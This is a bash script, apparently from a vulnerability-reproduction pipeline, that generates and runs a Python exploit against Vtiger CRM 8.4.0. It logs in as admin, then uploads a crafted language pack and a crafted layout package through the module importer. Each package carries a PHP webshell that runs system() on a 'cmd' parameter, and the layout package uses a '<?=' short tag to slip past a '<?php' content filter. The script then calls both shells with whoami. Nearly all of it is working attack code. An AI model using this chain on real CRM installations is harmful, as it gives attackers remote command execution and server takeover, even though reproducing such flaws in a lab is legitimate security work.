#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VULN_VARIANT_DIR="$ROOT/vuln_variant"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$VULN_VARIANT_DIR" "$ARTIFACTS"

cd "$ROOT"

PRUVA_LOG="$LOGS/vuln_variant_reproduction_steps.log"
exec > "$PRUVA_LOG" 2>&1

echo "[+] Starting Vtiger CRM 8.4.0 module-import variant analysis"
echo "[+] Variants under test: language-pack import, layout import PHP-filter bypass"

VENV="$ROOT/venv"
if [ ! -d "$VENV" ]; then
  echo "[*] Creating Python virtual environment"
  python3 -m venv "$VENV"
fi
"$VENV/bin/pip" install -q requests

VARIANT_PY="$VULN_VARIANT_DIR/variant_exploit.py"
cat > "$VARIANT_PY" <<'PY'
import requests
import re
import sys
import time
import os
import zipfile
import random
import string
import argparse

BASE = 'http://localhost/index.php'
ADMIN_USER = 'admin'
ADMIN_PASS = 'AdminPass1!'

def rand_str(n=8):
    return ''.join(random.choices(string.ascii_letters, k=n))

def extract_csrf(html):
    m = re.search(r'csrfMagicToken = "([^"]+)"', html)
    if not m:
        raise RuntimeError('Could not extract CSRF token from page')
    return m.group(1)

def complete_setup(s, r):
    if 'view=SystemSetup' in r.url or 'SystemSetup' in r.text:
        print('[*] Completing SystemSetup')
        csrf = extract_csrf(r.text)
        pkgs = re.findall(r'name="packages\[([^\]]+)\]"', r.text)
        data = {'__vtrftk': csrf}
        for p in pkgs:
            data[f'packages[{p}]'] = 'on'
        r = s.post(BASE + '?module=Users&action=SystemSetupSave', data=data, timeout=60, allow_redirects=True)
    if 'view=UserSetup' in r.url or 'UserSetup' in r.text:
        print('[*] Completing UserSetup')
        csrf = extract_csrf(r.text)
        rec = re.search(r'name="record" value="([^"]+)"', r.text)
        record = rec.group(1) if rec else '1'
        data = {
            '__vtrftk': csrf, 'record': record,
            'currency_name': 'USA, Dollars', 'lang_name': 'en_us',
            'time_zone': 'America/Los_Angeles', 'date_format': 'yyyy-mm-dd'
        }
        r = s.post(BASE + '?module=Users&action=UserSetupSave', data=data, timeout=60, allow_redirects=True)
    return r

def login(s):
    r = s.get(BASE, timeout=60)
    if 'Installation Wizard' in r.text:
        print('[-] Vtiger is not installed; the variant stage expects the repro environment to be available')
        return False
    if 'Users' in r.url or 'module=Users' in r.url or 'Login' in r.text or 'login' in r.text.lower():
        csrf = extract_csrf(r.text)
        print('[*] Logging in as admin')
        r = s.post(BASE + '?module=Users&action=Login',
                   data={'__vtrftk': csrf, 'username': ADMIN_USER, 'password': ADMIN_PASS},
                   timeout=60, allow_redirects=True)
    r = complete_setup(s, r)
    if 'Dashboard' not in r.text and 'Dashboard' not in r.url:
        r = s.get(BASE, timeout=60)
    print('[*] Authenticated, current page:', r.url)
    return 'Dashboard' in r.text or 'Dashboard' in r.url

def upload_and_install(s, zip_path, expected_type):
    url = BASE + '?module=ModuleManager&parent=Settings&view=ModuleImport&mode=importUserModuleStep1'
    r = s.get(url, timeout=60)
    csrf = extract_csrf(r.text)
    with open(zip_path, 'rb') as f:
        files = {'moduleZip': ('variant.zip', f, 'application/zip')}
        data = {
            '__vtrftk': csrf, 'module': 'ModuleManager', 'moduleAction': 'Import',
            'parent': 'Settings', 'view': 'ModuleImport', 'mode': 'importUserModuleStep2',
            'acceptDisclaimer': 'on'
        }
        r = s.post(BASE, data=data, files=files, timeout=60)
    text = r.text
    if 'module_import_name' not in text:
        print('[-] Module upload did not reach import confirmation step')
        return None, None
    import_file = re.search(r'name="module_import_file" value="([^"]+)"', text).group(1)
    import_name = re.search(r'name="module_import_name" value="([^"]+)"', text).group(1)
    import_type = re.search(r'name="module_import_type" value="([^"]+)"', text).group(1)
    csrf = extract_csrf(text)
    print(f'[+] Upload accepted: file={import_file} name={import_name} type={import_type}')
    if import_type.lower() != expected_type.lower():
        print(f'[!] Expected type {expected_type}, got {import_type}')
    post_url = BASE + '?module=ModuleManager&parent=Settings&action=Basic&mode=importUserModuleStep3'
    post_data = {
        '__vtrftk': csrf, 'module_import_file': import_file,
        'module_import_name': import_name, 'module_import_type': import_type
    }
    r = s.post(post_url, data=post_data, timeout=120)
    print('[+] Install response:', r.text)
    if '"success":true' not in r.text:
        return None, None
    return import_name, import_type

def test_language_variant(s):
    print('\n[*] === Testing LANGUAGE PACK variant ===')
    name = 'Lang' + rand_str(6)
    prefix = name.lower()
    zip_dir = os.path.join('/tmp', f'variant_lang_{name}')
    os.makedirs(zip_dir, exist_ok=True)
    zip_path = os.path.join(zip_dir, 'variant.zip')
    with zipfile.ZipFile(zip_path, 'w') as z:
        manifest = f'''<?xml version="1.0"?>
<module>
  <name>{name}</name>
  <label>{name}</label>
  <prefix>{prefix}</prefix>
  <version>1.0</version>
  <type>language</type>
  <dependencies>
    <vtiger_version>8.0.0</vtiger_version>
    <vtiger_max_version>8.5.0</vtiger_max_version>
  </dependencies>
</module>'''
        z.writestr('manifest.xml', manifest)
        z.writestr('modules/shell.php', '<?php echo "PRUVA_LANG_SHELL_OK\\n"; if(isset($_GET["cmd"])) { echo system($_GET["cmd"]); } ?>')
    print(f'[+] Created language pack variant: {zip_path}')
    import_name, import_type = upload_and_install(s, zip_path, 'language')
    if not import_name:
        return False
    shell_url = f'http://localhost/languages/{prefix}/shell.php?cmd=whoami'
    print(f'[*] Triggering language webshell: {shell_url}')
    r = s.get(shell_url, timeout=60)
    print(f'[+] Webshell output: {r.status_code} {r.text}')
    return 'PRUVA_LANG_SHELL_OK' in r.text

def test_layout_variant(s):
    print('\n[*] === Testing LAYOUT IMPORT variant (PHP content filter bypass) ===')
    name = 'Lay' + rand_str(6)
    zip_dir = os.path.join('/tmp', f'variant_layout_{name}')
    os.makedirs(zip_dir, exist_ok=True)
    zip_path = os.path.join(zip_dir, 'variant.zip')
    with zipfile.ZipFile(zip_path, 'w') as z:
        manifest = f'''<?xml version="1.0"?>
<module>
  <name>{name}</name>
  <label>{name}</label>
  <parent>v7</parent>
  <version>1.0</version>
  <type>layout</type>
  <dependencies>
    <vtiger_version>8.0.0</vtiger_version>
    <vtiger_max_version>8.5.0</vtiger_max_version>
  </dependencies>
</module>'''
        z.writestr('manifest.xml', manifest)
        # Short echo tag bypasses the <?php detection in vtlib/Vtiger/LayoutImport.php
        z.writestr(f'layouts/{name}/skins/{name}/shell.php',
                   '<?= "PRUVA_LAYOUT_SHELL_OK\\n"; if(isset($_GET["cmd"])) { echo system($_GET["cmd"]); } ?>')
    print(f'[+] Created layout variant: {zip_path}')
    import_name, import_type = upload_and_install(s, zip_path, 'layout')
    if not import_name:
        return False
    shell_url = f'http://localhost/layouts/{name}/skins/{name}/shell.php?cmd=whoami'
    print(f'[*] Triggering layout webshell: {shell_url}')
    r = s.get(shell_url, timeout=60)
    print(f'[+] Webshell output: {r.status_code} {r.text}')
    return 'PRUVA_LAYOUT_SHELL_OK' in r.text

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--output', required=True)
    args = ap.parse_args()

    s = requests.Session()
    if not login(s):
        print('[-] Failed to authenticate; cannot test variants')
        with open(args.output, 'w') as f:
            f.write('LOGIN_FAILED\n')
        return 1

    lang_ok = test_language_variant(s)
    layout_ok = test_layout_variant(s)

    with open(args.output, 'w') as f:
        f.write(f'LANGUAGE_VARIANT={lang_ok}\n')
        f.write(f'LAYOUT_VARIANT={layout_ok}\n')

    print(f'\n[+] Language pack variant: {"CONFIRMED" if lang_ok else "FAILED"}')
    print(f'[+] Layout import bypass variant: {"CONFIRMED" if layout_ok else "FAILED"}')

    if lang_ok or layout_ok:
        print('[+] Alternate triggers confirmed on Vtiger 8.4.0 (vulnerable version).')
        print('[!] No vendor patch is available; cannot demonstrate a true bypass of a fixed version.')
        return 1
    return 1

if __name__ == '__main__':
    sys.exit(main())
PY

PROOF_LOG="$VULN_VARIANT_DIR/proof.log"
"$VENV/bin/python" "$VARIANT_PY" --output "$PROOF_LOG"

EXIT_CODE=$?

if grep -qE 'LANGUAGE_VARIANT=True|LAYOUT_VARIANT=True' "$PROOF_LOG"; then
  echo "[+] Variant triggers confirmed on the vulnerable version"
else
  echo "[-] No variant triggers confirmed"
fi

echo "[+] Proof saved to: $PROOF_LOG"
echo "[+] Full log saved to: $PRUVA_LOG"
echo "[+] Exit code: $EXIT_CODE"
exit $EXIT_CODE
